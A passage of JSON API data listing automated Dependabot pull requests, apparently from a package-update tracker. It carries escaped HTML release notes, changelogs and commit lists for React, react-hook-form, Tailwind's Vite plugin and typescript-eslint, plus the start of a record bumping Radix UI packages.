href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/1dd4ecbdabf826f527fc9a58c05ea70375b7d170\"\u003e\u003ccode\u003e1dd4ecb\u003c/code\u003e\u003c/a\u003e [FlightReply] Performance improvements when decoding (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37087\"\u003e#37087\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/b0d2fdb78bdfae075a7fa02ddcebbf25f90952c2\"\u003e\u003ccode\u003eb0d2fdb\u003c/code\u003e\u003c/a\u003e [19.2.x] Update required references to GitHub repo (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/36753\"\u003e#36753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.2.8/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.2.7 to 19.2.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.2.8 (July 21st, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvements when decoding\n(\u003ca href=\"https://redirect.github.com/facebook/react/pull/37087\"\u003e#37087\u003c/a\u003e by \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/1dd4ecbdabf826f527fc9a58c05ea70375b7d170\"\u003e\u003ccode\u003e1dd4ecb\u003c/code\u003e\u003c/a\u003e [FlightReply] Performance improvements when decoding (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37087\"\u003e#37087\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/b0d2fdb78bdfae075a7fa02ddcebbf25f90952c2\"\u003e\u003ccode\u003eb0d2fdb\u003c/code\u003e\u003c/a\u003e [19.2.x] Update required references to GitHub repo (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/36753\"\u003e#36753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.2.8/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-hook-form` from 7.81.0 to 7.82.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/releases\"\u003ereact-hook-form's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 7.82.0\u003c/h2\u003e\n\u003cp\u003e🚀 \u003cstrong\u003efeat:\u003c/strong\u003e add opt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003esetValue(\u0026quot;firstName\u0026quot;, \u0026quot;Bill\u0026quot;, {\r\n  delayError: 500, // delay validation error updates by 500ms\r\n  shouldValidate: true\r\n});\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e⚡ \u003cstrong\u003eperf:\u003c/strong\u003e improve \u003ccode\u003egetDirtyFields\u003c/code\u003e performance (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved dirty field calculation, especially for larger forms and deeply nested values.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e expose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003econst { resetDefaultValues } = useFormContext();\r\n\u003cp\u003eresetDefaultValues();\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e \u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e now correctly updates dirty state when the form is disabled (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13594\"\u003e#13594\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e preserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13586\"\u003e#13586\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e restore \u003ccode\u003eFieldArray\u003c/code\u003e component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\n🧪 \u003cstrong\u003etest:\u003c/strong\u003e migrate test suite to Playwright and improve \u003ccode\u003edelayError\u003c/code\u003e test reliability (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ethanks to \u003ca href=\"https://github.com/candymask0712\"\u003e\u003ccode\u003e@​candymask0712\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/wanxiankai\"\u003e\u003ccode\u003e@​wanxiankai\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/a-y-ibrahim\"\u003e\u003ccode\u003e@​a-y-ibrahim\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ankit1324\"\u003e\u003ccode\u003e@​ankit1324\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/abnud11\"\u003e\u003ccode\u003e@​abnud11\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/blob/master/CHANGELOG.md\"\u003ereact-hook-form's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[7.82.0] - 2026-07-18\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOpt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e to delay validation error updates\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e not updating dirty state correctly when the form is disabled\u003c/li\u003e\n\u003cli\u003ePreserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields\u003c/li\u003e\n\u003cli\u003eRestore \u003ccode\u003eFieldArray\u003c/code\u003e component export\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove \u003ccode\u003egetDirtyFields\u003c/code\u003e performance, especially for larger forms and deeply nested values\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/553d2906476fc2573fb0b18c3a895f72b46f0bb9\"\u003e\u003ccode\u003e553d290\u003c/code\u003e\u003c/a\u003e 7.82.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2791e4f6bb1ecfc2de02a0bf37d4e5a3225fb01c\"\u003e\u003ccode\u003e2791e4f\u003c/code\u003e\u003c/a\u003e 🐞 fix: prevent stale _setValid() calls from overwriting isValid/isValidating ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/521adfcbd7e6c99e0253af574006c6e26077887b\"\u003e\u003ccode\u003e521adfc\u003c/code\u003e\u003c/a\u003e 🤦🏻‍♂️ fix: expose resetDefaultValues through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2f7c1c5cdf57cc9185554542f8118fdbf382032a\"\u003e\u003ccode\u003e2f7c1c5\u003c/code\u003e\u003c/a\u003e 🤧 fix FieldArray component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/937828856fc5bab74a61b5eba03de248c4aca20b\"\u003e\u003ccode\u003e9378288\u003c/code\u003e\u003c/a\u003e 🐞 fix \u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13592\"\u003e#13592\u003c/a\u003e setValue with shouldDirty not marking dirty state when form is d...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/65599cce839bfdf5c90017de2d1e44da98754beb\"\u003e\u003ccode\u003e65599cc\u003c/code\u003e\u003c/a\u003e 🚗 perf: improve get dirty fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/142f2994a13e726cbaa3bdb8b62bc82e6cc7efcd\"\u003e\u003ccode\u003e142f299\u003c/code\u003e\u003c/a\u003e 🖲️ chore: upgrade pnpm to v11 (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13587\"\u003e#13587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/673aae44ee2fb6f9d1c8c403d8e659a278a7194c\"\u003e\u003ccode\u003e673aae4\u003c/code\u003e\u003c/a\u003e 🤖 build(deps-dev): bump vite from 5.4.11 to 6.4.3 in /app (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13534\"\u003e#13534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/11bd6df899a6bd157a241e6d7310af7132d9e86a\"\u003e\u003ccode\u003e11bd6df\u003c/code\u003e\u003c/a\u003e 🥗 migrate to playwright \u0026amp; fix delay error feature (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/95da27a959855b92b9e07ed7e80ddd0f4b0c08a9\"\u003e\u003ccode\u003e95da27a\u003c/code\u003e\u003c/a\u003e ⏳ feat: add opt-in delayError option for setValue (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/react-hook-form/react-hook-form/compare/v7.81.0...v7.82.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tailwindcss/vite` from 4.3.2 to 4.3.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/releases\"\u003e@​tailwindcss/vite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.3.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → \u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/blob/main/CHANGELOG.md\"\u003e@​tailwindcss/vite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.3.3] - 2026-07-16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → \u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/c2b24dd15fed1c59dd521bd86082f520c9f5ad0d\"\u003e\u003ccode\u003ec2b24dd\u003c/code\u003e\u003c/a\u003e 4.3.3 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-vite/issues/20334\"\u003e#20334\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/bdcd7087b332d263353d46ed366b7b08040ded7a\"\u003e\u003ccode\u003ebdcd708\u003c/code\u003e\u003c/a\u003e Don't trigger a full page reload for scanned files that Vite processes as mod...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commits/v4.3.3/packages/@tailwindcss-vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.64.0 to 8.65.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.65.0\u003c/h2\u003e\n\u003ch2\u003e8.65.0 (2026-07-20)\u003c/h2\u003e\n\u003ch3\u003e🚀 Fe...\n\n_Description has been truncated_","html_url":"https://github.com/cordum-io/cordum/pull/401","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/cordum-io%2Fcordum/issues/401","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/401/packages"},{"uuid":"4933512089","node_id":"PR_kwDORqKxVc70FC5J","number":159,"state":"open","title":"chore(deps): bump the production-dependencies group with 30 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-20T22:15:15.000Z","updated_at":"2026-07-20T22:18:51.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"production-dependencies","update_count":30,"packages":[{"name":"@radix-ui/react-accordion","old_version":"1.2.16","new_version":"1.2.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-alert-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-aspect-ratio","old_version":"1.1.11","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-avatar","old_version":"1.2.2","new_version":"1.2.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-checkbox","old_version":"1.3.7","new_version":"1.3.8","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-collapsible","old_version":"1.1.16","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-context-menu","old_version":"2.3.3","new_version":"2.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.20","new_version":"2.1.21","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-hover-card","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.11","new_version":"2.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-menubar","old_version":"1.1.20","new_version":"1.1.21","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-navigation-menu","old_version":"1.2.18","new_version":"1.2.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-progress","old_version":"1.1.12","new_version":"1.1.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-radio-group","old_version":"1.4.3","new_version":"1.4.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.14","new_version":"1.2.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.11","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slider","old_version":"1.4.3","new_version":"1.4.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.3.3","new_version":"1.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.17","new_version":"1.1.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toast","old_version":"1.2.19","new_version":"1.2.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle","old_version":"1.1.14","new_version":"1.1.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle-group","old_version":"1.1.15","new_version":"1.1.16","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.12","new_version":"1.2.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@tanstack/react-query","old_version":"5.101.2","new_version":"5.101.3"